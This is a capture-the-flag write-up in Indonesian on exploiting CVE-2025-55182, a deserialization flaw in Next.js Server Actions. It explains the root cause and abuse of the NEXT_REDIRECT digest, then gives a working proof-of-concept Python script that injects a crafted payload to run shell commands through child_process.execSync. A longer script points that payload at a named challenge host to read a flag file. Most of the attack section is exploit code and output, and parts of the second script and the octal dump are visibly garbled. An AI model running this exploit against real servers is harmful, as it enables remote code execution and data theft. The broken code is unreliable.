Ini membuka pintu untuk **object injection / prototype chain abuse** (bukan prototype pollution klasik, tapi **framework logic misuse**).

Root Cause (Inti Vulnerability)



Improper Input Validation pada Server Action

Pada CVE-2025-55182, Next.js:

- gagal membatasi struktur object hasil deserialization
- memperbolehkan properti internal ikut “terbawa”
- tidak memisahkan *user data* dan *framework control data*

Akibatnya:

- alur eksekusi internal bisa dimanipulasi
- error handling internal dapat disalahgunakan

Abuse Error Internal NEXT_REDIRECT

Next.js menggunakan error khusus bernama:

NEXT_REDIRECT

Tujuan aslinya:

- navigasi

- redirect server → client

Namun error ini:

- membawa metadata tambahan (digest)
- metadata tersebut **ikut dikirim ke client**
- **tidak dirancang untuk menerima data dari user**

Ini menciptakan **covert channel** untuk mengirim data dari server ke client.

Dampak: Dari Logic Bug ke RCE

Karena Server Actions berjalan di **Node.js context**, attacker dapat:

- memicu eksekusi perintah server-side
- membaca filesystem
- mengekstrak file sensitive

```
Method: Normal read
Command: cat /threatactor.flag
Output: CSC{d0nt_b3_a_skiddie_just_using_another_person_expl001t_inst34d_w4ff_bypass}
```

Dalam challenge ini, file menarik ditemukan di root filesystem:

/threatactor.flag

Kenapa Output Kadang Angka, Kadang String?

```
Method: Octal dump
Command: od -c /threatactor.flag
Output: 000000 C S C { d 0 n t b 3 - a - s k\0000020 i d d i e - j u s t - u s i n g\0000040 \n\0000116
- p e r s o n _\n0000060 e x p l 0 1 t 0 0 - 1 t - i n s t 3 4 d\0000100 - w 4 f f - b y p a s s } \n\0000116
- a n o t h e r
```

Ini bagian penting (dan sering bikin peserta bingung).

Next.js **tidak selalu mengirim digest mentah**:

- Jika output kompleks / panjang → di-hash / di-map ke numeric ID
- Jika output sederhana (ASCII, stabil) → dikirim apa adanya

Akibatnya:

- beberapa command hanya mengembalikan angka
- tapi pembacaan file flag berhasil karena isinya **string ASCII sederhana**

Ini menciptakan **semi-blind RCE**, menuntut pemahaman **output shaping**, bukan brute force.

Kita modify PoC ini agar bisa kita implementasikan ke soal **mendadak banyak hacker**

Code Blame 34 lines (30 loc) · 1.05 KB

```
1  # /// script
2  # dependencies = ["requests"]
3  # ///
4  import requests
5  import sys
6  import json
7
8  BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:3000"
9  EXECUTABLE = sys.argv[2] if len(sys.argv) > 2 else "id"
10
11 crafted_chunk = {
12     "then": "$1:_proto__:then",
13     "status": "resolved_model",
14     "reason": -1,
15     "value": '{"then": "$B0"}',
16     "_response": {
17         "_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5
18         # If you don't need the command output, you can use this line instead:
19         # '_prefix': f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');",
20         '_formData': {
21             "get": "$1:constructor:constructor",
22         },
23     },
24 }
25
26 files = {
27     "0": (None, json.dumps(crafted_chunk)),
28     "1": (None, '"$@0"'),
29 }
30
31 headers = {"Next-Action": "x"}
32 res = requests.post(BASE_URL, files=files, headers=headers, timeout=10)
33 print(res.status_code)
34 print(res.text)
```

Script ini bukan sekadar exploit, melainkan **implementasi praktis dari root cause CVE-2025-55182**, yang memanfaatkan kelemahan validasi reference pada React Flight Protocol dan perilaku thenable di Next.js App Router.

```

#!/usr/bin/env python3
import requests
import json
import re

def rce_raw(command):
    """RCE tanpa parsing - return raw response"""
    crafted_chunk = {
        "then": "$!:_proto_:_then",
        "status": "resolved_model",
        "reason": -1,
        "value": {"then": "$B0"},
        "_response": {
            "_prefix": "#var res = process.mainModule.require('child_process').execSync({command}},{timeout:5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest: ${res}}})",
            "_formData": {"get": "$!:_constructor:_constructor"}
        }
    }

    files = {"0": (None, json.dumps(crafted_chunk)), "1": (None, '$@0')}
    headers = [{"Next-Action": "x"}]

    try:
        res = requests.post("http://cyberjateng.id:3187/en", files=files, headers=headers, timeout=10)
        return res.text
    except:
        return ""

def read_flag_file():
    print("!!! MEMBACA FILE FLAG YANG SEBENARNYA !!!")
    print()

    # 1. Baca /threatactor.flag dengan berbagai cara
    print("1. Reading /threatactor.flag...")

    methods = [
        ("cat /threatactor.flag", "Normal read"),
        ("xxd /threatactor.flag", "Hex dump"),
        ("od -c /threatactor.flag", "Octal dump"),
        ("base64 /threatactor.flag", "Base64"),
        ("cat /threatactor.flag | tr -d '\n'", "Remove newlines"),
        ("strings /threatactor.flag", "Strings only"),
        ("file /threatactor.flag", "File type"),
        ("wc -c /threatactor.flag", "File size"),
    ]

    for cmd, desc in methods:
        print(f"\n Method: {desc}")
        print(f" Command: {cmd}")
        resp = rce_raw(cmd)

        # Cari digest
        if "digest":'' in resp:
            match = re.search(r'"digest": "(^=]+)"', resp)
            if match:
                output = match.group(1)
                print(f" Output: {output}")

            # Coba decode jika base64
            if desc == "Base64":
                try:
                    import base64
                    decoded = base64.b64decode(output + "====").decode('utf-8', errors='ignore')
                    print(f" Decoded: {decoded}")
                except:
                    pass
        else:

```

```

        print(f"  No digest found")
    else:
        print(f"  Raw response (first 200 chars): {resp[:200]}")

# 2. Cek apa isi file sebenarnya (78 bytes = mungkin flag pendek)
print("\n2. Analyzing file structure...")
resp = rce_raw("xxd -c 20 /threatactor.flag")
if '"digest":' in resp:
    match = re.search(r'"digest": "([^"]+)"', resp)
    if match:
        hexdump = match.group(1)
        print(f"  Hexdump: {hexdump}")

        # Coba parse hexdump
        lines = hexdump.split('\\n')
        for line in lines[:5]:
            if ':' in line:
                hex_part = line.split(':')[1].split()[0]
                print(f"  Hex: {hex_part}")

# 3. Coba baca sebagai text dengan berbagai encoding
print("\n3. Trying different encodings...")
encodings = ['utf-8', 'ascii', 'latin-1', 'utf-16', 'utf-32']

# Dapatkan raw bytes dulu
resp = rce_raw("xxd -p /threatactor.flag | tr -d '\\n'")
if '"digest":' in resp:
    match = re.search(r'"digest": "([^"]+)"', resp)
    if match:
        hex_str = match.group(1)
        print(f"  Hex string: {hex_str[:50]}...")

        # Coba decode dengan berbagai encoding
        try:
            bytes_data = bytes.fromhex(hex_str)
            print(f"  Bytes length: {len(bytes_data)}")

            for enc in encodings:
                try:
                    decoded = bytes_data.decode(enc)
                    print(f"  {enc}: {decoded}")
                    if "CSSC{" in decoded or "flag{" in decoded:
                        print(f"  ★ FLAG FOUND in {enc}!")
                except:
                    print(f"  {enc}: Failed to decode")
        except:
            print(f"  Cannot convert hex to bytes")

# 4. Cek jika ada rot13 atau simple cipher
print("\n4. Trying simple transformations...")
resp = rce_raw("cat /threatactor.flag")
if '"digest":' in resp:
    match = re.search(r'"digest": "([^"]+)"', resp)
    if match:
        content = match.group(1)
        print(f"  Raw content: {content}")

        # Coba sebagai number
        try:
            num = int(content)
            print(f"  As number: {num}")
            print(f"  Hex: {hex(num)}")
            print(f"  Char from number: {chr(num) if num < 256 else 'too large'}")
        except:
            print(f"  Content is not a valid integer")

```

```

        print(f"    Not a number")

# Coba ROT13 jika alphanumeric
if content.isalnum():
    rot13 = ""
    for char in content:
        if 'a' <= char <= 'z':
            rot13 += chr((ord(char) - ord('a') + 13) % 26 + ord('a'))
        elif 'A' <= char <= 'Z':
            rot13 += chr((ord(char) - ord('A') + 13) % 26 + ord('A'))
        elif '0' <= char <= '9':
            rot13 += str((int(char) + 13) % 10)
        else:
            rot13 += char
    print(f"    ROT13: {rot13}")

if __name__ == "__main__":
    read_flag_file()

# Bonus: Coba langsung submit kemungkinan flag
print("\n" + "="*60)
print("KEMUNGKINAN FLAG:")

# Dari nama file: threatactor.flag
# threatactor adalah author di siteConfig.ts
possible_flags = [
    "CSSC{threatactor}",
    "CSSC{threatactor.flag}",
    "CSSC{/threatactor.flag}",
    "flag{threatactor}",
    "CSSC{78}", # File size
    "CSSC{threatactorhunter}", # Dari siteConfig.author
]

for flag in possible_flags:
    print(f"    {flag}")

```

CSC{d0nt_b3_a_skiddie_just_using_another_person_expl001t_inst34d_w4ff_bypass}